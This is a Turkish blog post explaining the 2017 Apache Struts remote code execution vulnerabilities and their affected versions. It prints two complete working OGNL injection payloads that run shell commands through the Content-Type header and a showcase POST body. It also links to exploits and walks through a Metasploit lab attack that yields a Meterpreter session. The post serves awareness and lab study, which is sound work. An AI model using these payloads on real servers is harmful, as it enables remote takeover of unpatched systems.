Apache Struts Tehlikesi

Apache Struts: 2000’li yıllarda ortaya çıkmış REST, AJAX ve JSON destekleyen açık kaynak kodlu java web uygulamaları geliştirmek için kullanılan bir MVC (Model View Controller) framework’tür. Java içerisinde ayrı bir scripting dil olan Expression Language’in OGNL (Object Graph Navigation Language) implementasyonunu kullanmaktadır. Bir çok yüksek öneme sahip kurum ve kuruluşlar apache struts kullanmaktadır.

Nasıl Çalışır?

Kısaca diyagram üzerinden gösterecek olursak;

Sistemin çalışma mantığını daha iyi anlamak için struts.apache.org adresini ziyaret edebilirsiniz.

2017 yılında bulunan zafiyetlere göz atalım.

07.03.2017 tarihinde Cisco firmasının Tehdit analizi yapan Talos firması tarafından sıfırıncı gün (0day) açığı olduğunu tespit etmektedir.  

Bu açık Apache Struts üzerinde bulunan Jakarta Multipart Parser üzerinden dosya upload ederken Content-Type değerine zararlı komutlar ekleyerek sistem üzerinde uzaktan kod çalıştırabilmeye olanak sağlamaktadır.  

Zafiyetin online olarak kontrolü https://www.tinfoilsecurity.com/strutshock bu site üzerinden gerçekleştirilebilmektedir. Bu zafiyetle beraber bir çok firma ve kurumlar hacklenmiştir. Son zamanlarda Equifax hacklenmesi de bu zafiyetten kaynaklanmakta olup 143 milyondan fazla kullanıcı kimlikleri, kredi kartı bilgileri gibi hassas veriler bundan etkilenmiş durumdadır.

Content-Type’ye kod enjekte edilmesi aşağıdaki gibidir.

%{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’echo MSONER’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

 

Bu zafiyeti otomotize eden exploit ve metasploit modülü bulunmaktadır.

Etkilenen Versiyonlar:

Struts 2.3.5 – Struts 2.3.31

Struts 2.5 – Struts 2.5.10

Exploit: https://www.exploit-db.com/exploits/41570/

Metasploit Module: https://www.exploit-db.com/exploits/41614/

  • Apache Struts 2.3.x Showcase Remote Code Execution (CVE-2017-9791)

Apache’nin Struts 1 ve Struts 2 olmak üzere 2 versiyonu vardır.  2008’de Struts 2 yayınlandıktan sonra apache struts 1’den desteğini çekti. Her geçen gün yeni zafiyetlerin bulunduğunu hesaba katarsak struts 1 çok savunmasız durumda olduğunu söyleyebiliriz. Struts 2 de ise bazı modül ve eklentiler struts 1’den kalmış durumda olup 07.07.2017 tarihinde bulunun apache struts zafiyeti showcase eklentisinden kaynaklanmaktadır. Showcase eklentisi ise struts 1’den kalma bir eklentidir. Bu zafiyet ile uzaktan “root” yetkileriyle komut çalıştırılabilmektedir.  Bir önceki zafiyet’te olduğu gibi uzaktan kod çalıştırma Content-Type kısmına kod enjekte edilmesi ile gerçekleşmededir.

Bunu bir tablo ile gösterecek olursak :

 

URL:

/struts2-showcase/integration/savegangster.action

HTTP Method:

POST

POST Body:

{(#szgx=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’MSONER’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}

 

Etkilenen Versiyonlar:

Struts 2.3.x

Exploit: https://www.exploit-db.com/exploits/42324/

  • Apache Struts – Rest Plugin XStream Remote Code (CVE-2017-9805)

05.09.2017 Lgtm tarafından Apache Struts’ın Rest eklentisin de uzaktan kod çalıştırma zafiyeti tespit edildi. Yeni bir zafiyet olmasına rağmen bu zafiyet ile bir çok yer hacklendi.

Lgtm’nin açıklamasına göre bu zafiyet 2008’den bu yana çıkan tüm versiyonları etkileyip Rest eklentisi kullanan tüm web uygulamalarına tehdit olmaktadır. Bu zafiyet Rest eklentisi üzerinde herhangi bir sunucudan uzaktan rastgele kod çalıştırmasına olanak sağlanmaktadır.

Zafiyet yayınlandıktan sonra imperva adlı firmanın ülkelere göre zafiyet’ten etkilenme durumları aşağıdaki grafikteki gibidir.

Etkilenen Versiyonlar:

Struts 2.1.2 – Struts 2.3.33

Struts 2.5 – Struts 2.5.12

Exploit: https://www.exploit-db.com/exploits/42627/

Metasploit Module: https://packetstormsecurity.com/files/144034/Apache-Struts-2-REST-Plugin-XStream-Remote-Code-Execution.html

  • Apache Struts – Rest Plugin XStream Remote Code Uygulama

Bu zafiyeti yakından incelemek ve test etmek için pentester lab tarafından Xstream izafiyeti için lab yayınlandı. Uygulamayı bizde bu lab üzerinden gerçekleştireceğiz.

Labı Vulnhub üzerinden indirebilirsiniz. Aynı zamanda zafiyeti içerin eklentiyi tomcat kurarak “Manager APP” kısmından yüklemeyi gerçekleştirebilirsiniz.

Vulnhubhttps://www.vulnhub.com/entry/pentester-lab-s2-052,206/

Xstreamhttps://www.exploit-db.com/apps/6e57891b624331399e1b14b0e0164062-struts-2.5.10-all.zip

İndirdiğimiz dosyayı kurduğumuz da eklenti aşağıdaki görüntüde görüldüğü gibi çalışmaktadır.

Zafiyet belli olduğuna göre metasploit üzerinden exploit edelim. Metasploit üzerinden exploiti seçmek için use exploit/multi/http/struts2_rest_xstream komutunu kullanıyoruz.

Payloadı seçtikten sonra gerekli ayarlar için show options komutunu kullanıyoruz.

Hedef ile ilgili girilmesi gereken kısımlar:

RHOST Hedef ip

RPORT: Hedef sistemin port

LPORT: Local port

LHOST: Local Port

TARGETURI: Zafiyetin bulunduğu dizin

TARGET:  Hedefin işletim sistemi

Bu bilgileri set komutu ile sisteme ekliyoruz. Gerekli bilgileri girdikten sonra exploit komutu ile sistemi exploit ediyoruz.

Başarılı bir şekilde exploit edildi. Meterpreter üzerinden uzaktan başarılı bir şekilde kod çalışmaktadır.

Nasıl Önlem Alınır?

Sistem yöneticileri apache.org sitesinden güvenlik güncellemeleri ve exploit-db gibi sistemlere zafiyetleri takip edip sistem için en güncel versiyonları kurulmalıdır.



msoner

Yazılım Mühendisi


Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

*

code